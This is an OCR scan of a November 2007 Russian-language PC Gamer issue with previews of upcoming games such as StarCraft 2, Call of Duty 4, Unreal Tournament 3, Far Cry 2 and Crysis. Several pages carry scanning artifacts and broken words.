будет зависеть не только от рельефа пересекаемой местно- сти, но и от наличия вьючных животных. Привычно, что мы сможем собирать трофеи и торговать ими, непривычно другое — ви- деть в своем кошельке различ- ные монеты и денежные еди- ницы. Не берусь назвать точ- ное число, но их несколько... Взяв во внимание все «ме- лочи» игры, понимаешь, что игрушка стоит того, чтобы в нее поиграть! А спасение ко- ролевства — дело техники! StarCraft 2 Полководцы всех рангов, объединяйтесь! Мегамасштабные противостояния трех рас продол- жаются! Объединяйтесь! Так как в скором времени культовая стратегия вспыхнет с новой силой, увлекая все больше и больше отважных полководцев в самое пекло войны! Старые и хорошо знакомые знамена Протоссов, Зергов и Людей вновь схлестнутся в звездном галактическом пространстве StarCraft 2. Как и раньше, все три стороны будут иметь сво- их мощных юнитов, которые в битве с другими про- тивниками откроют свои сильные и слабые сторо- ны. Помните, как храмовники протоссов без труда расправлялись с толпами маленьких зергов? А как осадный танк землян «про- клинал все», встретившись с «бессмертным» — медленной, но убойной машиной Протос- сов? Как и следовало ожидать, кроме старых ветеранов, мы увидим и новых. У Протос- сов — immortal со своими защитными щитами будет отбиваться от надоедливых, но опасных reapers — десант- ников с реактивными ранцами, вооруженных двумя типами маломощных пистолетов. К не- скольким новым бойцам доба- вились интересные апгрейды к старым юнитам. Поэтому жар- ких схваток вам не избежать! Основных режимов игры два — кампания и мультиплеер. Правда, основное внимание ав- торы сосредоточили на втором: как-никак, StarCraft 2 изначаль- но «заточен» под киберспор- тивные чемпионаты. Именно поэтому вы не увидите здесь чрезмерно мощных эффектов, заслоняющих поле брани, но для особо торжественных слу- чаев появление корабля Protoss Mothership (уникального су- перюнита) будет очень кстати. Существенных изменений интерфейс не претерпел, а все усилия разработчиков были брошены на то, чтобы три расы были максимально не похожими друг на друга. Что касается графики и анимации, то и здесь раз- работчики остались верны старым традициям. Внешне картинки очень напоминают другой хит — Warcraft 3. Те же броские персонажи и ланд- шафты, раздутые пропорции, запоминающиеся образы и анимация персонажей, яркая насыщенная палитра — все тот же фирменный стиль ху- дожников студии. КРАТКАЯ ИНФОРМАЦИЯ Жанр: Strategy (Real-time) / 3D Разработчик: Blizzard Entertainment Издатель: Blizzard Entertainment Статус: выход запланирован на 2009 год 14 Р GAMER Ноябрь 2007
День грядущий Это война не для вашего дедушки Call of Duty 4: Modern Warfare Ты знаешь, что предыду- щие эпизоды игры Call of Duty основывались на военных операциях Второй мировой? По теле- визору и в кинотеатрах мы достаточно насмотрелись войнушек. Как игрок в CoD сможет забросить штык свое- го дедушки и сохранить на- пряжение и жестокость игры от первого лица? Как ответить на этот воп- рос? Просто забудьте об обыч- ной жизни. Она не похожа на ту, которая описана в книгах. Основными противниками в Modern Warfare являются Рос- сия и Ближний Восток. Вам придется вести боевые дейс- твия на два фронта, выступая в роли британского отделения SAS в России и отделения раз- ведки морской пехоты США на Ближнем Востоке. Русский террорист Захаев развязал гражданскую войну в своей стране. За его спиной стоят нефтяные бароны, для которых гражданские беспо- рядки - прекрасный способ укрепить свою власть. Он вступает в сговор с Аль Аса- дом, который должен поддать жару в своем регионе, сковав там американские силы, для которых нефть Ближнего Вос- тока ценнее золота. Создав собственный сценарий, компания Infinity Ward гаранти- рует для любителей Call of Duty такую I степень насилия, от I которой могут лоп- 1 нуть ушные пере- понки. На нескольких уровнях горячий свинец у ГЛАВНОЕ 1 'Команда SAS из мор ской пехоты против России и Ближнего Востока в самой напряженной А игре, 1 будет литься как дождь. В первой части демонстра- ционной версии (демонстри- ровалась Грантом Колье груп- пе счастливчиков) мы играем за бриттов небольшим подраз- делением, которое переброси- ли в зону боевых действий на самолете. Твои товарищи по оружию ведут тебя, выступая в качестве ориентиров. Они будут вести бой вместе с тобой даже на ограниченном про- странстве корабля, повержен- ного бортовой качке (тем, кто страдает морской болезнью, желательно запастись леденца- ми). Сценарий не хуже любого боевика. После этого сюжет игры перемещается к американ- цам. Сцены ведения боевых действий по- . стоянно меняются: | сейчас ты ведешь I штурм корабля с г вертолета, а через несколько минут поддерживаешь на- ступление пехоты. На данный момент американцы в самом пылу атаки. Мы видим, как танки пробиваются через заграждения, прочищая путь отделению и самому игроку. Декорации игры CoD впечат- ляют своей зрелищностью: в разрушенных зданиях прячут- ся снайперы, и отделение не может ринуться в решитель- ную атаку, пока они не будут уничтожены. До этого момента использо- валось классическое оружие игры, но теперь возникла необ- ходимость усовершенствовать его. Наш герой вытягивает ракету. Он наводит прицел на танк, и реактивный снаряд по- падает прямо в ничего не по- дозревающего врага. Вы могли бы посадить игрока перед иг- рой Modern Warfare и не сказать ему, что это Call of Duty, шум и свирепость действия выдали бы игру. Среди всех военных «стрелялок» данная игра обла- дает такой интенсивностью, что ее трудно игнорировать. Последний выпуск игры возможно перескакивает временные и географические линии фронта, но за яркой, отполированной оболочкой скрывается старый друг. КРЕЙГ ПИРСОН КРАТКАЯ ИНФОРМАЦИЯ Издатель: Activision Разработчик: Infinity Ward Ссылка: www.charlieoscardelta.com Для фанатов. Громкая, свирепая, жестко описанная прогулка в зону войны. 16 GAMER Ноябрь 2007
В результате изменений настроек вы получите более новое оружие Ноябрь 2007 F GAMER 17
I День грядущий у ¥ £ \ f t ' 1 ~ 1 Uv.;l ljvJ I M Perseus Mandate Это непонятно. Это жестоко. В любой момент может случиться все, что угодно. Да, ситуация вокруг F.E.A.R. такая же двойственная и неоднозначная, как и сама игра: Monolith — раз- работчики оригинала — делают свое собственное продолжение (которое, кстати, очень похоже на первую часть), но в то же время Sierra, которая также обладает правами на оригинал, дала задание Timegate создать Extraction Point. Вот об этом мы и поговорим. Вместо того, чтобы создать абсолютно новую сюжетную линию, события в Perseus Mandate развили параллельно первой игре. Вы играете другим работником F.E.A.R., который выполняет множество заданий и расправляется с врагами, используя различные виды оружия. Существует риск того, что Perseus Mandate будет просто- напросто повторением первой части, однако Titnegate изо на Святой Боже! Снова кошмары! ГЛАВНОЕ Вторая часть шокирующего шутера: ©iStockphoto com/blackred, EduardHarkoner всех сил старается это исправить. Среди противников появилось нечто ужасное по имени Shade. Это сверхъестественное существо, которое все время жаждет человеческой крови. Эта тварь обитает только в тени, поэтому вам придется осторожно исследовать с факелом каждый темный угол, при этом не забывая о том, что вокруг полно других врагов. Все это изрядно пощекочет вам нервы. Среди нового оружия есть гранатомет, который имеет высокую скорострельность, и огнестрельное оружие, стреляющее разрядами молний, издавая при этом странные хрюкающие звуки. Порадует и лазерная винтовка. К этим трем видам оружия присоединяется и вся амуниция из первой части, так что у вас будет великолепный выбор. Иногда вы будете пробираться через прокуренные и пыльные помещения, где ничего невозможно разобрать, поэтому придется стрелять наугад. Прошло два года со времени выхода в свет первой игры F.E.A.R., поэтому не удивительно, что требования к шутерам значительно возросли. Perseus Mandate очень напоминает оригинал, но можно с уверенностью сказать: он выглядел великолепно тогда, да и сейчас не менее достойно. Если же ты технологический фетишист, то тебе больше подойдет Crysis. Но если кровавые стрельбища, море летающих вокруг пуль и холодящий сердце ужас заставляет учащаться ваш пульс, то для вас не будет ничего лучшего, чем вторая доза F.E.A.R. Ы Wi'i 1 Action (Shooter)/Add-on(Standalone)^^/ 1st Person TimeGate Studios Sierra Entertainment в разработке, запланирована 26 октября 2007 года 18 Р GAMER Ноябрь 2007
Наконец<омы встр GEARSQFWAR умаю, не я один тер hears был задуман, прежде “Многие из изйИгтных нам многое. А самое главное - вы ГЛАВНОЕ Не за горами выпуск мегахита с еще более ужасающими противниками. РЕЛИЗ НОЯБРЬ всего, для сражения в коопе- ративном режиме, где вы в роли МарйюЬФеникса и ваш сотоваш^^Дом (в синглплее его оврГисполняет ловкий Ш|ЯИействуете рука об руку предполагал увидеть Брумака центральной фигурой Gears of War в версии этой игры, вышедшей для ХЬох 360. А он, вопреки всеобщим ожида- ниям, в самый решающий мо- нашествия жнт почему-то скрылся ИЗ виду • JpfeAnHO хлынув- ‘ИЙереложил свои обязанности -игцеййз земных ^босса на плечи менее впечатая- ' недр Орды Саран- ,ющего генерала Раама. Вряд ли- F кто-то станет спорить с тем, что г- Gears - увлекательная игра, й ее гf разработчики потрудилт 1сь на славу. Но в реальности ее сюжет оказалсг|не врвсе:у1 таким, каким мы еголоббраЖали, посмотрев трейл^ Ц'версии Gears, порти- рованной на ПК, эта ситуация измените^,'и Брумак в конце концов займет в игре достойное его ужасающей внешности по- ложение. Откровенно кровавый шу*? -------------: это придете по вкусу вла- дельцам ХЬох. £ чи. Версия для ПК снабжена пятью новыми главами, призванными при- дать синглплею игры достойную масштабность. Это усовершенствование, а к тому же и дальнейшее преобразова- ние многопользовательского режима, включающего теперь три новые карты, вряд ли при- дутся по вкусу владельцам ХЬох. фактов о готовящейся к вы- пуску ПК-игре демонстри- руют ее эксклюзивность по отношению к оригинальной (консольной) версии. Так, в Gears of War для ПК вы уви- дите финальную битву с боссом, предварительно разработанную для версии, ХЬох, но по каким-то причинам исклю- ченную из общего сценария (хотя люди, которым посчастливилось лицезреть первоначальную Gears, находили ее весьма впечатляющей). Кроме того, в вашем распоряжении окажет- ся редактор карт, который в тандеме с мощным движком Unreal Engine 3 способен на "сможете оценить п паниче- ский труд разработчиков, приложивших максимум усилий к тому, чтобы гейм, предназначенный для консоли и большого экрана, достойно смотрелся и на мониторах компьютеров. Конечно, если сфокусиро- ваться только на поиске недо- четов в созданных разработчи- ками текстурах, можно кое-где обнаружить места их соеди- нения и неровные края. Это естественно, ведь первичная консольная версия теперь со- зерцается с более близкого рас- стояния и, следовательно, опыт- ному глазу критика не составит труда разглядеть малейшие дефекты графики. Но стоит ли тратить драгоценное время на поиск иголки в стогу сена? Не лучше ли просто наслаждаться 20 GAMER Ноябрь 2007
самой игрой, ведцеймы такого ранга встретишь н»насто! Чтобы получить пет уп к кроссплатформеннохЬсраже- нию в Gears of War владельцам 1 IK будет достаточно им«и, «серебряную» подписку. До» стижения в системе Live (Live Achievements), открывающиеся для владельцев ПК также, как и для играющих на ХЬох, будут абсолютно в равной степени поддерживать энтузиазм игро- ков и способствовать неодно- кратному обращению к уже однажды пройденной игре. Способность проникнове- ния в сущность изображаемых явлений и достижение необы- чайной зрелищности, одним из компонентов которой яв- ляются разлетающиеся во все стороны внутренности (куда ъ > \ С I I же без них!) - эти таланты ко- манды Epic уже оценены нами по достоинству в оригиналЦ ной Gears of War. Несомненно, поистине высококлассная игра Gears, всячески дополненная и усовершенствованная добросо- вестными разработчиками, не может выглядеть на ПК хуже, чем на консоли. Так что не от- кажите себе в удовольствии лично удостовериться в этом. ДУНКАН ХЭРИС КРАТКАЯ ИНФОРМАЦИЯ к Action(Sliooler)/3D/3rd Person Epic Games и People Can Fly Microsoft в разработке, запланирована на 6 ноября 2007 года
День грядущий til -U Король смертельных поединков вернулся UNREAL TOURNAMENT 3 Едва ли кто-то осме- лился бы бросить мне вызов и составить хоть какую-то конку- ренцию в приемах владения пневмовинтовкой Shock Rifle. Даже Джеф Моррис, несмотря на задетую гордость, вынуж- ден был отдать должное неиз- вестному противнику. Джеф, если ты читаешь это, то тем противником был я. Да, я при- менил в «epic_test 3» все свои старые школьные приемы, и ты их увидел! Ведь основная цель — первым настичь про- тивника и выйти из очередной передряги победителем. И для ее достижения я использую все способы. На той малень- кой вечеринке в режиме муль- типлеера Unreal Tournament 3 мы неплохо позабавились! Хотите, расскажу одну историю. Когда вышел первый Unreal Tournament, я совсем забыл о Quake III. Пом- нится, я потратил целых четыре часа, чтобы за- грузить первую демо-версию... и я был поражен увиденным! Когда в 2004-м вышло продол- жение игры, на сервере можно было загрузить не только но- вое оружие, но и обновленные уровни. Хорошо знакомые режимы — дефматч обычный, Создание персонажа для битв — приоритет дефматч командный, CTF, Double Domination, Last Man Standing и Bombing Run — были напичканы разными «вкусностями», которые были недоступны ранее! Но больше всего обрадовало то, что большинство старых игровых «примочек» рабо- тало без проблем. Думаю, бывалые игроки поймут, о чем я. Хотя прыгучесть все же урезали. Эта эпопея забавляла тем, что исключала постоянные погони, перезарядку и пора- жения движущихся целей. Все сводилось к тому, чтобы вы- брать игрока с самым мощным оружием. Зачем утруждать себя кропотливой охотой? Это был излюбленный стиль многих, и его пришлось перенести и в UT 3. В новом аддоне обширные локации не столько влияют на атаку или защиту, сколько на динамику боя и зрелищность. Вся «фишка» заключается в том, что игрок должен мак- симально быстро влиться в битву и раскрыть тактический замысел противника. Теперь без особого труда можно пере- секать огромные локации на любом транспортном средстве, будь то Viper или еще лучше — Hoverbike. Последний может поднять на огромные высоты, 22 PCGAMER Ноябрь 2007
и это даст немалые преимуще- ства. При командной игре, взяв трех или четырех человек, мож- но использовать tothis, и вы, фактически, имеете dropship. Так выглядит моя тактика. Как ни странно, но практи- чески половина людей, кото- рые купили UT 2004, никогда не использовали он-лайн для продолжения грандиозных баталий. Они ставили патчи и обновления и играли в режи- ме мультиплеера. Именно для таких пользователей и были разрабо- таны карты для мультиучастни- ков, где в каждой команде могут участвовать до четырех игро- ков. Это более продвинутое улучшение, по сравнению с предыдущим релизом, где были предусмотрены турни- ры один на один. Кампания построена на серии боев в рамках каждой из миссий, где вы можете выбрать наиболее интересный способ боя. Правильный выбор экипи- ровки и оружия дает больше шансов выжить в последую- щих миссиях, но именно этот шаг и является сложным так- □т правиль- ности выбо- ра будет зависеть исход битвы тическим решением. Так же в групповом противостоянии важно подобрать нужную ко- манду, и заменить, при жела- нии, людей на компьютерных ботов. Вернемся к мультиплееру: в новом режиме Warfare удачно переплелись две старые мо- дели нападения (Onslaught и Assault), позволяющие двум командам сражаться, с це- лью уничтожить командные пункты. Каждая сторона имеет по два командных пункта. Они рас- положены в таком месте и таким об- разом, чтобы ока- зывать давление на команды при их столкнове- нии. В этой ситуации наиболее перспективным тактическим решением является захват КП для использования ее потен- циала в борьбе против другой команды. Такой шаг не только ограничит ресурсы другой команды, но и позволит игро- ку завладеть дополнительным транспортным средством или бонусами, необходимыми для захвата последующих пунктов. В битве можно использо- вать широкие тактические 24 PCGAMER Ноябрь 2007
День грядущий Unreal Tournament 3 ► возможности: если больше нравится нападение, что ж, можно попробовать захватить движущийся шар и получить специальный бонус или, пере- мещаясь по карте, развязать узлы и разрушить барри- кады. При обороне можно укрываться за преградами и контролировать периметры баррикад. Постоянная смена позиций необходима, она по- зволит защитить огромную территорию и подловить спря- тавшегося врага. Система боя продумана на- столько динамично, что бое- вая обстановка меняется чуть войны существуют и микро- ли не ежеминутно. Выдержка и хорошая реакция помогают выжить и добиться цели. Но, как правило, легко отличить новичка от закаленного вояки. На фоне общей стычки между отдельными членами команд. Как валун, набирающий скорость на спуске, так и битвы с другими соперниками проносятся ла- виной. И все немедленно обра- щают взоры на базу врага... Тех парней, которые про- сто любят пострелять, не стоит недооценивать. Мно- гие из них — достойные про- тивники. Преимуществом Unreal Tournament яв- ляется то, что иногда приятно поиграть один на один. К примеру, как Dark Walker vs Scorpion tank. На Ходока дей- ствительно забавно посмотреть — он просто сметает всех, кто попада- ется в поле его видимости. Он не щадит никого и испепеляет лазерными лучами в мгновение ока. Мы закончили поединок рано, показав большой смертельный бой, предполагая, что Ходок где- то засветится, и мы сможем нанести внезапный удар. Это было действительно зрелищ- но наблюдать, как трехногий монстр медленно передвигался и стрелял из лазерной пушки, заставляя тебя убегать. Стоило только немного ошибиться, как луч сделал бы жаркое... Мое любимое транспор- тное средство — это Viper. Ценность оружия особенно заметна, если мы играем на CTF-карте — «Песчаная буря». Представьте ситуацию, когда команда покидает свою лока- цию, а две базы находятся по обе стороны туннеля. Битва, как правило, ведется в туннеле и на подходах к нему. «Гадю- ка» — очень маневренный воздушный бот. Нажимая кнопку «прыжок», можно с легкостью уклоняться от огня противника. Самый опасный из них — это, конечно, Тем- ный Ходок, так как именно он обладает самой мощной защитой. Хорошей защите противостоит маневренность и скорость моего транспорта. К тому же, дополнительное во- оружение тоже внушительное. Главное — правильно выйти на линию атаки и одной точ- ной ракетой уничтожить цель. В случае успеха, вражеский флаг — в моих руках! В Unreal есть несколько особенно красивых и проду- манных карт. Мы вкушаем все великолепие, двигаясь среди высоких зданий и улиц с такими же высокими мос- тами. А в разные стороны снуют космические суда и транспортные средства. Как наглядный пример, нам пред- ставляют «Паладин» — это своего рода бульдозер, кото- рый может развернуть щит впереди себя. Форма и разме- ры щита точно вписываются в ширину улицы, также как мы вписываемся в дверные проемы на том же командном пункте. Единственный недо- статок такой машины — мед- лительность. В общем, это только ма- ленькая часть огромного мира Unreal, который идет в ногу с еще одним мегахи- том — Crysis. Причем идет и не отстает. В то время, как Crysis впечатляет графическим движком и интерактивным окружением. Эта игра вы- рывается вперед, благодаря своим бесконечным баталиям в онлайн-режиме. Ведь дей- ствительно, каждый бой в Unreal Tournament 3 по-своему неповторим. КРАТКАЯ ИНФОРМАЦИЯ Жанр: Action(Shooter)/3D/lst Person Разработчик: Epic Games Издатель: Midway Games Статус: в разработке, запланирована на 19 ноября 2007 года 26 PCG
Ноябрь 2007 PCGAMER 27
День грядущий Эпизод VI: Месть крепостного ПОСЕЛЕНЦЫ Восход Империи Как вы можете вос- хищаться игрой «По- селенцы»? Кто бы ни задавал этот сарка- стический вопрос, но он сви- детельствует о том, на сколько низко упали в глазах игрового сообщества серии стратегий от Blue Byte. Эти игры давно уже пере- стали быть настоящими «По- селенцами». Blue Byte знает это. Когда производитель Бе- недикт Гриндел пришел к нам с последней версией «Восхода Империи», он признал, что в предыдущих играх не было того реального масштаба вре- мени, которым всегда славились «Поселен- цы». Последняя же версия, очевидно, имеет значительные преимущества. Я получил настоящее удо- вольствие, когда смотрел на служанок, бодро вымета- ющих дома, на заблудив- шихся диких животных, пробегающих мимо (дикие хорьки! В какой еще игре ты найдешь ди- ких хорьков?), и на озеро, Импровизируй. Спой песенку на центральной площади! КРАТКАЯ ИНФОРМАЦИЯ постепенно замерзающее прямо на моих глазах с насту- плением зимы. И хотя эта игра сильно отличается от тех пер- вых пикников, все же — это, без сомнения, «Поселенцы». Игра простая, но не прими- тивная, и в то же время де- тальная, остроумная и очень яркая. Возможно, в этом и есть неожиданный успех. Важно, что это скорее не за- воевание, а творение. И хотя тут есть незначительные битвы, это больше похоже на Theme Park, чем на Total war. Твое дело — строить город и воспитывать суетящихся жителей. А по- том сидеть, наблюдать за ним и думать: «это я сделал!» Убить всех зебр — озна- чает лишить местных львов источника продовольствия. И не удивительно, если они начнут искать другую пищу. Например, учуют твой город с испуганными, беззащитны- ми жителями. Это можно ис- пользовать в качестве оружия: тихонько уничтожь стадо травоядных возле вражеского поселения, и голодающие хищ- ники начнут нападать на лю- дей. А в игре с несколькими участниками излюбленной тактикой может стать нападе- ние разъяренных котов. Тем временем в замерзаю- щем озере, о котором я уже упоминал, на время прекратит- ся вылов рыбы. В городе насту- пит нехватка продовольствия, магазины опустеют, и народ наверняка будет этим недово- лен. С другой стороны, озеро, покрытое льдом, временно превратится в дорогу. По ней добывающие пищу люди смогут добираться до новых мест, или просто сокращать дорогу. А в это время грустный народ развеселит твой герой, который споет на городской площади импровизированную песенку. Забавно и мило! Я немного волнуюсь, что даю так много надежд на эту игру, ведь мы были так ра- зочарованы предыдущими сериями. Но, честно говоря, я восхищен. «Поселенцы» — действительно классная игра! АЛЕК МИР Издатель: Ubisoft Разработчик: Blue Byte Линк: tbesettlers.uk.ubi.com Возврат к тем истокам, которые когда-то заставили нас влюбиться в игры «Посе- ленцы» у ГЛАВНОЕ Преврати разрушен- ные средневековые лагерные стоянки в бла гоустрое иные, к процветающие / города, Pl GAMER Ноябрь 2007
НАИКРАЩИИ ВИБ1Р 2007! Компьютери cepif "Gamer Extreme” для читач1В за специальною Ц1ною! Звертайтеся вже сьогоднн pcgamer@comtrading ua www.comtrading.ua (044) 501 7373 Ноябрь 2007 PCGAMER 29
Far Cry 2 пере- сафари. ‘Собираюсь «Только аккуратнее сегодня, пожалуйста- Невидимость —, честно говоря, необязательна. 30 Р GAMER Ноябрь 2007
Широкие африканские ландшафты создают прекрасный фон. Живи свободным или^оько плач Far Cry 2 Тропический остров из первой игры нахо- дится в тысяче милях отсюда. Вместо него — только мы и наши враги — озлобленные люди и голодные звери в бескрайних просторах африканской саванны. Far Cry, как вы знаете, мертв. Пожела- ем же долгой жизни Far Cry 2. Что же это, если не белые пляжи или орава мутантов? Вкратце, это все. Far Cry 2 чрезмерно амбициозный. Это Сталкер, попавший на сафа- ри; это Точка Кипения с бюд- жетом. «Наше исследование потре- бителей показало, что ранние части Far Cry были интереснее и реалистичнее: вы совер- шаете набеги как наемник. Сначала планируете, потом проникаете на вражескую территорию и только тогда начинаете стрельбу, чтобы выиграть битву", — объясняет Луис-Пьер Фаранд, продюсер Far Cry 2. — Многие люди, судя по всему, ощущали, что игра слегка «страдала» в пре- дисловии о Тригенсе и фан- тастичностью. Мы согласны с этим». В Far Cry 2 нет наноэкипи- ровки, мутантов, пришельцев или магической силы. «Ни игрок, ни враг не наделены какой либо силой, кроме той, которую человек может проявить в экстремальных обстоятель- ST ствах», — говорит Фаранд. «Игра проходит в двух полностью открытых мирах, размером в пять киломе- тров. Второй мир — не за- крывающийся, занимает треть игры», — поясняет Фаранд. — Это дает 50 ква- дратных километров игровой площади, в которой игрок мо- жет свободно путешествовать в любое время. История — не- линейная, динамичная. Игра использует движок “drama- management”, чтобы украсить историю ключевого персо- нажа и уменьшить подобность историй стихийных бедствий”. Хм..., о’кей, но что это зна- чит? История, собранная из слу- чайностей, обязывает вас убить человека, который ответственен за продажу оружия обеим сторонам кон- фликта в обанкротившемся штате. Играя, вы станете камнем преткновения в каждой истории и конфликтах. Идея этой игры — создать мир, ► Ж Действие воз- вращено к основе. ГЛАВНОЕ Невозможно амбициозный FPS сиквел, который меняет пляжи н; . саванны. Это Сталкер / Ноябрь 2007 р GAMER 31
День грядущий г г ► в котором вы можете протоптать собственную тропинку, пока история превращается в драму из-за ваших действий. «В конце-концов, — говорит Фаранд, — пока несколько главных апогеев займут всех игроков, персонажи участву- ют в этих событиях». Far Cry не был бы Far Cry без лошадиной дозы джунг- лей. Когда вы будете ползти на животе сквозь лес, это по- лучится не так расточительно, как раньше. Завеса открыва- ется.. . и мы видим открытую местность, где трудно не по- пасться на глаза. «Это было безусловным требованием, чтобы Far Cry 2 содержал экзотику [ориги- нальной игры], — объясняет Фаранд. — Африканская саванна была естественным выбором, здесь присутству- ет несколько видов равнин. Пастбища — только один из них: длинные тягостные дистанции, внедорожная по- гоня за экипажем, дальнобой- ная охота и резня.» Лесная местность саванны густотой доходит до уровня, который вы видели в джун- глях первой Far Cry. В некоторых случаях драка похожа на город- скую, с большим количеством деревьев вместо небольших зда- ний. Конечно, вы не можете стрелять сквозь здания, зато можете повалить дерево с помощью пулеметной очереди, если думаете, что враг прячется за ним. Ubisofi надеется, что игра Вечерние и дневные набеги будут сильно отличаться понравится любителям пое- динков в джунглях. Вдобавок пространство кажется пустым, если нет лю- дей или животных, от которых можно избавиться, и это дела- ет игру амбициозной. Нам расскажут, как газели каждое утро идут к водо- пою, а вечером направля- ются в прерии, чтобы поесть и отдохнуть. Тем временем вражеские па- трули сходятся у своих лагерей, это значит, что тактика во время вечерних и дневных набегов будет сильно отли- чаться. Планирование свое- го штурма — больше чем стандартная перестрелка с врагами. Для атаки обяза- тельно выберите подходя- щий момент. Конечно же, все еще есть газель весом в 300 фунтов, которая нахо- дится в комнате, о которой мы не упомянули. Если вам интересно, ка- кова эта игра в сравнении с Кризисом, семи-сиквел к Far Cry, знайте — Фаранд не бес- покоился. «Из того, что мы знаем — игры виртуально не сравнимы, и это замеча- тельно. Мы ожидаем, что PC-геймеры будут очень счас- тливы, имея два невероятных заголовка для игры вместо одного». ГРЭХЕМ СМИТ КРАТКАЯ ИНФОРМАЦИЯ Жанр: Action(Shooter)/3D/4st Person Разработчик: Ubisoft Montreal Издатель: Ubisoft Entertainment Статус: в разработке, запланирована на II квартал 2008 года ЭТО ВЛАСТЕЛИН АДСКОГО ОГНЯ, КОТОРЫЙ ЗАСАСЫВАЕТ ВАС В ПОСЛЕДНИЙ КРУГ АДА... Гори, детка, гори. Деревья в Far Cry 2 созданы достаточно примитивно, особенно это заметно, когда они пылают. Деревья в Far Cry 2 созданы с помощью программы, которая динамично производит бесконечное количество изменений, - они всегда разные. Огонь перекидывается с маленьких веток и листиков на ствол дерева, прежде чем сжечь его окончательно. Трава, растительность, лес - любой воспламеняющийся объект можно поджечь. Ничего так не убивает индивидуальность, как горячие языки пламени. Огонь распространяется логическим образом, меняет направление, а также скорость, в зави- симости от погодных условий. 32 PCGAMER Ноябрь 2007

День грядущий Детище Роберта Говарда никогда не умрет AGE OF CONAN HYBORIAN ADVENTURES Все сражения в Аде of Сопап невероятно зрелищные. Когда я играл в Age of Conan, главный дизайнер Джейсон Аллен Стоун намекнул, что было бы неплохо «подрихтовать» уродливое лицо моего варвара. Но я, пожалуй, не соглашусь с ним. Мой убийца просто вели- колепен с глазами-бусинками, лягушачьим лицом и псевдо- египетским профилем. Немно- гие игры предоставляют вам столько характеристик в одном человеческом подобии. Воз- можно, в фэнтезийном он-лайн мире Age of Conan вы можете играть только людьми, но они обладают чудовищным обая- нием. В конце концов, они — сбежавшие рабы, повернутые на приключениях — с чего бы им быть симпатичными? Так или иначе, мир Ги- пербореи дает возможность управлять верблюдами и мамонтами во время сраже- ний. Вы сможете драться в горных ущельях, развязывать конфликты, в которые вас не устанут втягивать королевства летучих мышей-демонов и другие игроки. Этот MMORPG хочет быть таким же доступ- ным, как и одиноч- ные приключения, Г Разработчики Age of Conan также хотят создать систему ГЛАВНОЕ ЧИ Постоянно «прокачивайте» своего героя, чтобы сокрушать многочисленных например, Oblivion. Но в то же время имеет все разви- вающиеся особенности более искушенных MMORPG — тер- риториальные конфликты, для настоящего рукопаш- ного боя, которая придет на смену бездумному щелканью мышкой, как в World of War- craft. Вместо простого выбора темницы, торговые классы, войны между гильдиями и раз- нообразные опции PvP. Вы хо- тите устроить пьяный дебош? Начинайте! Желаете проводить бесконечные часы в массовых сражениях? Вы можете и это. цели и нажимания «атаки», вы сможете выбирать направ- ление и комбинацию ударов. В настоящее время это всего лишь странная аляповатая система, которая возможно когда-нибудь будет рабо- тать. Боям «один на один» она определенным образом придаст что-то необычное и интересное, но для массовых сражений — несколько хао- тична. Однако, если создатели смогут правильно воспользо- ваться системой, у них поя- вится отличная возможность создать нечто новое в мире MMORPG. Age of Conan — вероятно, самая темная фантазия ММО, которую мы скоро увидим. Но придется пройти долгий путь, чтобы сделать ее зрелым и ин- тересным образцом жанра. Боюсь, что Funcom придется изрядно потрудиться, если они хотят сделать игру, которая за- интересует «больших мальчи- ков» мира ММО, но наверное это не столь важно. Если Age of Conan сможет захватить вооб- ражение (и бумажники) хотя бы нескольких тысяч — этого, пожалуй, будет достаточно. КРАТКАЯ ИНФОРМАЦИЯ Издатель: Eidos Разработчик: Funcom Линк: www.ageofconan.com Варварский бифштекс и пенящаяся выпив- ка — отличный завтрак для настоящего мужчины. 34 - GAMER Ноябрь 2007
Наж GAMER Ноябрь 2007 f ГЛАВНОЕ 1 Crysis - это бои в джунглях Far Cry и мир, который вы можете уничтожить < голыми руками. / ТЬлько взгляните на это! Именно такой должна быть настоящая игра. Здесь можно врезать проезжающей на высокой скорости тачке так сильно, что твой кулак разлетится на ку- ски. Это не Far Cry. На этот раз тебе придется бросить вызова целым армиям, дивизиям раз- личной техники, пришельцам размером с вулкан и многим, не поддающимся логике ве- щам. в результате получаем конфликт огромного масштаба. Ты и небольшая группа так же круто оснащенных морских пехотинцев прокрадываетесь вглубь тихоокеанского осто- рова по направлению к месту, где разбился огромный кос- мический корабль с представителями внеземной циви- лизации на борту. Местность кишит корейскими солда- тами, и американ- ские власти не горят желанием вступать с ними в конфликт. Но ты — член бри гады, которая, по сути, вычер- кнута из списков, официально вас не существует. И дает тебе полное право убивать. Члены твоей команды имеют соб- ственные цели и задачи, они не обязаны следовать за тобой, как верные псы. Они не будут стеснять твоих передвижений, и нет нужды ждать, пока под- тянутся остальные бойцы. Да и вообще, нет смысла дер- жаться постоянно вместе — твой суперкомбинезон включа ет в себя все необходимое для любой боевой ситуации (См. «Снаряжение» на следующей странице). Есть ли в игре какие-либо недоработки? Ну, куры, к при- меру, слишком расслаблены. AI цыплят — как у простей- ших. Когда воздух и все вокруг сотрясает мощная взрывная волна, распространяясь и на кур в том числе, птицы кажутся абсолютно невозму- тимы мп. Ты можешь поднимать, бросать и бить прощвников чем угодно, что по разорам не превышает автомо- биль — тачки, лопаты, стволы деревьев и даже . большую часть меха- низмов. Все, что меньше \ древесного ствола, спо- койно умещается в ле- вой руке игрока, не ме- шая правой удерживать оружие, даже ecaitje ней [ винтовка с оптическим при- целом или дробовик. Наобо- рот, все располагает к тому, чтобы до- бить поверженную жертву — недо- битый враг может вызвать помощь, р ' если ТЫ его не При- кончишь и не при- валишь для верности какой- нибудь тяжестью. Жесть как она есть. От такого успешного раз- работчика, как Crytek, всегда ожидаешь настоящего про- фессионализма, позволяющего сделать хорошо продуманную игру вроде Half-Life 2, в ко- торой игрок мог бы концен- трироваться на выполнении нескольких вещей одно- временно. А играя в Crysis, пользователь поневоле рас-* пыляется на бессмысленные забавы вроде расстрела окружающей растительности, используя в качестве оружия практически любой предмет. Из-за этого могут возникать действительно забавные и до- вольно глупые ситуации. Как бы сурово не выглядело об- мундирование твоего героя, ►

